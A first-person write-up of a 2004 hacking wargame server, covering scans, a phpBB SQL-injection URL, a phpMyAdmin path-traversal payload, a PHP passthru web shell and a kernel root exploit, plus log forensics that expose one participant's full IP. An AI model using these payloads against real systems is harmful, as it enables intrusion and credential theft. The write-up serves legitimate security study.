The sun scorched my eyes as it was rising above the horizon. I stared into nothingness. My brains were active as they had never been before. How could I possible finish target number four?

I already finished target number one through three. All I had to do was finish target four. The objective of target four was to root the server and deface the webpage of the wargames server.

Let me describe the wargames server. A few services were documented on the wargames server's webpage on astalavista.net. According to that, it was running Slackware 8.1. It was running Apache as a webserver, with PHP as extension. The page also said it was running proFTPd and SSHd.

The first think I did was pull of an nmap scan. I piped it to a file so that I could check it any time I wanted:

```
nmap -sS -sV -O 212.254.194.174 >> nmap
```

```
<nmap>
Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2004-03-03 08:52 CET
Interesting ports on adsl-194-174-fixip.tiscali.ch (212.254.194.174):
(The 1646 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp?
22/tcp   open  ssh         OpenSSH 3.2.3p1 (protocol 1.99)
25/tcp   open  smtp        Sendmail smtpd 8.12.4/8.12.4
37/tcp   open  time
79/tcp   open  finger?
80/tcp   open  http        Apache httpd 1.3.26 ((Unix) PHP/4.2.1)
111/tcp  open  rpcbind     2 (rpc #100000)
113/tcp  open  ident       OpenBSD identd
515/tcp  open  printer
587/tcp  open  submission?
3306/tcp open  mysql       MySQL 3.23.51
1 service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port587-TCP:V=3.45%D=3/3%Time=40458ED0%r(GenericLines,9A,"220\x20wargam
SF:es3\.local\x20ESMTP\x20Sendmail\x208\.12\.4/8\.12\.4;\x20Wed,\x203\x20M
SF:ar\x202004\x2008:38:37\x20\+0100\r\n500\x205\.5\.1\x20Command\x20unreco
SF:gnized:\x20\"\"\r\n500\x205\.5\.1\x20Command\x20unrecognized:\x20\"\"\r
SF:\n");

Nmap run completed -- 1 IP address (1 host up) scanned in 116.770 seconds
<EOF>
```

Not really the newest services available, but not increadibly old either. At the moment of writing, apache's newest version is 1.3.29. OpenSSH's newest version available is 3.8p1, versus version 3.2.3p1 on the wargames server. And sendmail is at version 8.12.11, versus 8.12.4. And MySQL is up to version 4.0.18, while the wargames server has 3.23.51. the ProFTPd version on the wargames server was 1.2.5, while 1.2.9 was released.

So it was pretty outdated, but not too outdated.

The webserver had five â€œpartsâ€□:

1)the index.html file itself, the file that got sent when you requested http://212.254.194.174/

2)phpBB (php Bulletin Board) at /phpBB/. This is a widely used forum. For more information about this, see http://www.phpbb.com/

3)phpNuke at /phpNuke/html/. This is a service you can use to easily give your site a nice lay out, modify it, and so on. For more information, see http://www.phpnuke.org/
4)phpMyAdmin at /phpMyAdmin/. A tool to run SQL commands on the server. You can log in using any non-existing username and empty password, but you will have limited rights on the execution of SQL commands. For more information, see http://www.phpmyadmin.net/
5)Some file made by Gwanun himself, /target3/. This was the directory you could use to add your filename after finishing target 3.

I decided to check out the versions that were used.
For phpBB, I could simply go to http://212.254.194.174/phpBB/. There was a footer on the bottom, which had the version in it: 1.4.0 (phpBB is up to version 2.0.6d already!).
phpNuke had the version in stats; the version was 4.0 (Outdated as well, since version 7.0).

There were for targets (or, objectives). They were:
Target 1: â€œWe set up a phpBB board for you. On this board, there are several forums. On of them is called "Mods-Only". Find a way to write into this board!â€□
Target 2: â€œThere is a page running with phpNuke installed. Try to get an admin-account and publish your own message.â€□
Target 3: There is a "magic word" stored in /etc/magicword. Find a way, to read this file. After you got the magic word, you can add you name to the list. But maybe you have to decode the word first..?
Target 4: Add your name to the index.html-File.

I figured that, with the nmap and the versions of the php-services, I would have enough information for a while. I knew phpBB 1.4.0 was fairly old, so I searched for an exploit for this. I found the following exploit:
http://www.astalavista.net/member/exploitsshow.php?id=929
<quote>
Example URL gives a username "l337h4x0r" level 4 (administrative) privileges the board:

http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23
</quote>
So, this was gonna be that easy huh? Yes, it was. I registered an account for me and went to the site:
http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20were%20username%3D'SpoofedExistence'%23
And I was done. My account on phpBB could post in the restricted part of the forum. Up to target 2...

Target 2: â€œThere is a page running with phpNuke installed. Try to get an admin-account and publish your own message.â€□
phpNuke was version 4.0. I searched for an exploit, and I found the following exploit:
http://www.astalavista.net/member/exploitsshow.php?id=1041
<quote>
PHP-Nuke is an open source webpage portal that powers many websites on the net. A security

vulnerability in the product allows attackers to cause it to copy files from and to anywhere on the operating system hard drives (and thus gain access to or overwrite sensitive files). This would allow an attacker to completely compromise the remote host.
</quote>
So I coud upload files, right? I went to http://212.254.194.174/phpNuke/html/admin.php?upload=1&wdir=/../../ and had a look to all directories in the webserver. Only the documented ones: /phpBB/, /phpNuke/, /phpMyAdmin/ and /target3/. I tried to upload something, but nothing got uploaded; I didn't have the right permissions, I guessed. I tried more directories, but nothing happened. After going all the way back to the root dir, I went to tmp and uploaded something there. It worked. But I couldn't do anything with it â€“ yet.
I browsed around the directories, and I came into the target3 directory. It contained â€œnames.txtâ€□. I opened it (http://212.254.194.174/target3/names.txt). It contained two names: root and gwanun, on two seperate lines. So I went to the file where you could see who finished target 3: http://212.254.194.174/target3/. Two names: root and gwanun.
You could add your name by typing your name and the secret word on the website. That meant php has to have write-access to that names.txt file! I could edit it, and add my name, without having the magic word. But I didn't...
I couldn't do anything with this exploit. I got stuck, and looked around some more. I found the following exploit:
http://www.astalavista.net/member/archivesshow.php?id=13877&sort=default
<quote>
Exploit example:

```
 - -- HTTP Request --

http://[target]/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00

 - -- HTTP Request --
```

</quote>
You could include any file on the server, showing it's contents. Right away I thought about target number 3:
Target 3: There is a "magic word" stored in /etc/magicword. Find a way, to read this file. After you got the magic word, you can add you name to the list. But maybe you have to decode the word first..?

Peace of Cake! I first tested it out:
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../etc/passwd%00
Nothing appeared on the site. I looked in the source, and it did have data:

```
</etc/passwd>
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
```

```
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
wguser:x:1000:100:Wargames User,,,:/home/wguser:/bin/bash
dumbass:x:1001:100:,,,:/home/dumbass:/bin/bash
<EOF>
```

It worked! I had to get the magic word next. It was in â€œ/etc/magicwordâ€□:
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../etc/magicword%00
Again, no data was shown on the screen. Nor in the source:
â€œ<html><body></body></html>â€□ was all it said. I started ettercap, a packet sniffer, and looked at the incoming packets when requesting the document. I file /etc/magicword was there:

```
</etc/magicword>
The magic-word is: c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz
<EOF>
```

Yes, I had to decrypt it. It was base64. The magic word itself was
â€œsecurity_is_for_wheeniesâ€□. Target 3 done.

It was time to finish target 2.
Target 2: â€œThere is a page running with phpNuke installed. Try to get an admin-account and publish your own message.â€□
Now I was able to upload files to /tmp (because I had write access there) using:
http://212.254.194.174/phpNuke/html/admin.php?upload=1&wdir=/../../../../../tmp/
and I was able to include files with the phpMyAdmin exploit. I wrote a file, locally:

```
<test.php>
<? if(isset($_GET['spoofex'])){ passthru($_GET['spoofex']); } ?>
<EOF>
```

I uploaded this to /tmp.
When using include-bugs, the php-code is executed inside the file. The above php file tests whether $_GET['spoofex'] is set, and if so executes it on the server. $_GET means the query using after the '?' when requesting a file (test.php?spoofex=ls would execute ls, if it would be uploaded to a public dir).
I could use the phpMyAmdin vulnerability to run the source:
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../tmp/test&spoofex=COMMAND

I could replace COMMAND with the command to execute, and the output will be visible on the packet sniffer.

The admin password of phpNuke was in the database, so I needed to find out the database password. This could be found in the configuration files of phpNuke and phpBB.
The location of the phpNuke configuration file was:
/var/www/htdocs/phpNuke/html/config.php
If I would cat it like this:
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../tmp/test&spoofex=cat%20/var/www/htdocs/phpNuke/html/config.php
the output would be as php source, and thus would be executed. I had to remove the lines <? and ?> so that it wouldn't execute it. I used the following command to view the file:

```
cat /var/www/htdocs/phpNuke/html/config.php | grep -v "<?\|?>"
```

It would show everything of the file, except for (-v) lines containing <? or ?> (â€œ<?\|?>â€□, \| means or).
The following lines where mostly useful:

```
$dbuname       = "mysqluser";
$dbpass        = "user4mysql";
```

I used the command â€œmysql â€“user=mysqluser â€“password=user4mysql â€“host=212.254.194.174â€□ locally to connect to the database. I got access! The session was like this:

```
<mysql session>
mysql> use phpnuke
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SELECT * FROM authors;
+-------------------+-------------------+---------------------------+-------------------------------+--------
------+---------+
| aid             | name             | url                       | email                    | pwd         | counter |
+-------------------+-------------------+---------------------------+-------------------------------+--------
------+---------+
| Gwanun           | Gwanun           | http://www.astalavista.net | thomas.kaelin@astalavista.net
| wgames@phpnk |       4 |
+-------------------+-------------------+---------------------------+-------------------------------+--------
------+---------+
<EOF>
```

It was a bit scrumbled, but I noticed that â€œwgames@phpnkâ€□ must be the password. So I tried it.
http://212.254.194.174/phpNuke/html/admin.php
I logged in with the username Gwanun and the password wgames@phpnk. Access granted! And it was easy to create a story.

But how could I possible root the server? I browsed around files, looked at the contents, looked at the services running, the users logged in , but I couldn't find anything.
After a while I found out why. I was thinking too hard. All I needed was a ready-to-execute exploit. I downloaded the following exploit to the server:
http://www.cs.helsinki.fi/linux/linux-kernel/2003-23/1589.html

Simply compiling and running it was enough. I was root.

Nose posted the following on the forum:

<http://www.astalavista.net/member/newsshow.php?id=6434>
Re: Wargames Server #3 -> ONLINE! (Nose â€“ Thu Mar 4 2004 @ 18:10:35)
ahh, i see people are allready breaking the rules. "If you got root, don't remove the user accounts or change passwords. "

Well, i have been 'banned' from the fourm and the 'edited by tristar' was at the bottom of the post i made. What 'he' did was put in my home ip address in the post. Real mature. I am not accusing tristar himself because anyone can do that but really, who ever did that, fuck off. i am not in the mood for your shit. I am here trying to learn like everyone else.
<EOF>

Nose got bbanned of the phpBB forum on the wargames server. Later, in the topic, a small fight started. I decided to figure out who banned Nose.
To ban someone, first you have to go to
/phpBB/admin/admin_users.php?mode=banuser
and then you enter the person you want to ban. This information will be posted to:
/phpBB/admin/admin_users.php

So I wondered who visited the first file, /phpBB/admin/admin_users.php?mode=banuser. I went to the apache-logfiles, and typed:
cat -n * | grep /phpBB/admin/admin_users.php?mode=banuser
This would list all IPs that ever visited it.

```
<cat -n * | grep /phpBB/admin/admin_users.php?mode=banuser>
 35886  66.185.x.x - - [04/Mar/2004:04:51:19 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
 50477  63.89.x.x - - [04/Mar/2004:17:52:46 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.0" 200 5441
 50681  80.46.x.x - - [04/Mar/2004:18:12:38 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
 52326  24.244.x.x - - [04/Mar/2004:20:16:30 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
 79139  68.108.x.x - - [05/Mar/2004:07:30:55 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
 79152  68.108.x.x - - [05/Mar/2004:07:33:57 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
 79382  61.11.x.x - - [05/Mar/2004:08:02:56 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.0" 200 5443
```

```
 85175  80.46.x.x - - [05/Mar/2004:21:14:39 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 6160
194782  68.67.x.x - - [12/Mar/2004:19:20:08 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 6160
<EOF>
```

(I have replaced the last two octets with x for privacy)
Those were my first suspects. Right after this, they would have to have posted something to /phpBB/admin/admin_users.php:

```
cat -n * |grep /phpBB/admin/admin_users.php |grep POST | grep IP
```

Where IP was the IP (I tried them all). I compared the line numbers (the first number on the line). The second had to be right after the first one. It was, for the following IPs:
66.185.x.x
63.89.x.x
68.108.x.x
61.11.x.x
80.46.x.x

I now had to get the names of these guys. So I used a:

```
cat * |grep IP
```

Where IP was the IP. I looked through the things what the guy did. For the first IP, a part of this was:

```
<cat * |grep 66.185.x.x>
66.185.84.199 - - [04/Mar/2004:04:34:16 +0100] "GET
/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'3'%20where%20username%3
D'tristar'%23 HTTP/1.1" 404 299
66.185.84.199 - - [04/Mar/2004:04:34:39 +0100] "GET /phpBB/bb_profile.php?mode=edit
HTTP/1.1" 200 6658
66.185.84.199 - - [04/Mar/2004:04:34:58 +0100] "GET
/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3
D'tristar'%23 HTTP/1.1" 404 299
66.185.84.199 - - [04/Mar/2004:04:35:16 +0100] "GET /phpBB/prefs.php HTTP/1.1" 200
4709
<EOF>
```

It was quite obvious this was tristar. I used the same method with the other four IPs, and their nicknames were as follows:

66.185.x.x	Tristar
63.89.x.x	Nose1
68.108.x.x	Antimatt3r
61.11.x.x	Antimatt3r
80.46.x.x	kodox and kX_lethal

One of them must have done it. Nose1 seemed to come from a company, so I figured he probably logged in from work and created a new account called â€œNose1â€□, and unbanned himself that way. But I wasn't sure, so I asked him. But since I didn't get any reply yet, I continued finding it out.

So who could it be? I looked at the dates and noticed that the post of Nose was on March the fourth, 18:10. So he was banned at that time already.

So there were only two people accessing the page you use to ban someone before that time:

```
35886  66.185.x.x - - [04/Mar/2004:04:51:19 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.1" 200 4711
 50477  63.89.x.x - - [04/Mar/2004:17:52:46 +0100] "GET
/phpBB/admin/admin_users.php?mode=banuser HTTP/1.0" 200 5441
```

The second one was Nose himself, so it had to be the first one. 63.89.x.x. Tristar.

The whole March the fourth, they were the only two people who requested the ban-page and after this submitted something to the admin_users page.

After this I received a response from Nose. It was Nose, the second time, unbanning himself at school.

Credits

I'd like to thank everyone from astalavista.net for being great guys, and especially Gwanun for the wargames server.

Greets,
Spoofed Existence